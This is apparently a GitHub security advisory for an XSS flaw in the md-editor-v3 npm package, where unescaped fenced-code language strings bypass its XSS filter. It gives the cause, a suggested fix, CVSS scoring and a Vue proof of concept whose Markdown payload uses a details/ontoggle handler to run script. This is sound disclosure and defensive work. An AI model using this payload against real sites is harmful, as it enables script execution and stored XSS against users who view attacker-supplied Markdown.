Skip to content

md-editor-v3: XSS via fenced-code language rendering bypass

Moderate severity GitHub Reviewed Published Jul 17, 2026 in imzbf/md-editor-v3 • Updated Sep 18, 2026

Package

npm md-editor-v3 (npm)

Affected versions

<= 6.5.3

Patched versions

6.5.4

Description

Summary

MdPreview interpolates a fenced-code language into HTML attributes without escaping it. A crafted info string therefore executes JavaScript even when the shipped XSSPlugin is enabled.

Details

useMarkdownIt() (packages/MdEditor/layouts/Content/composition/useMarkdownIt.ts:206) registers a highlight callback whose final return inserts language into both class="language-${language}" and an unquoted language=${language} attribute without escaping. Both highlighting paths reach this return. XSSPlugin() filters only existing html_block and html_inline tokens before rendering, so it cannot inspect this renderer-generated HTML.

PoC

The Vue application enables the shipped XSSPlugin and renders attacker-controlled Markdown. noHighlight: true only makes reproduction deterministic; the default highlighting path reaches the same unsafe return. Use this as src/main.js:

import { createApp, h } from 'vue';
import { MdPreview, XSSPlugin, config } from 'md-editor-v3';

config({ markdownItPlugins: p => [...p, { type: 'xss', plugin: XSSPlugin, options: {} }] });
const markdown = '```x"><details/open/ontoggle=alert(document.domain)>\nSAFE\n```';
createApp({ render: () => h(MdPreview,
  { editorId: 'poc', modelValue: markdown, noHighlight: true })
}).mount('#app');

Create and run the app, replacing src/main.js when indicated:

npm create vite@latest poc -- --template vue
cd poc
npm install
npm install md-editor-v3@6.5.3
# Replace src/main.js with the code above.
npm run dev

Opening the displayed URL automatically shows the application hostname in an alert.

Impact

An attacker who can supply Markdown can execute JavaScript in the application origin when a victim renders it. If the host stores that Markdown, this becomes stored XSS.

Suggested fix

Escape language with md.utils.escapeHtml before interpolation and quote the language attribute. Add this payload and the raw control as regression tests with XSSPlugin enabled.

References

@imzbf imzbf published to imzbf/md-editor-v3 Jul 17, 2026
Published to the GitHub Advisory Database Sep 18, 2026
Reviewed Sep 18, 2026
Last updated Sep 18, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(14th percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2026-84992

GHSA ID

GHSA-3rm2-h79c-8qw6

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.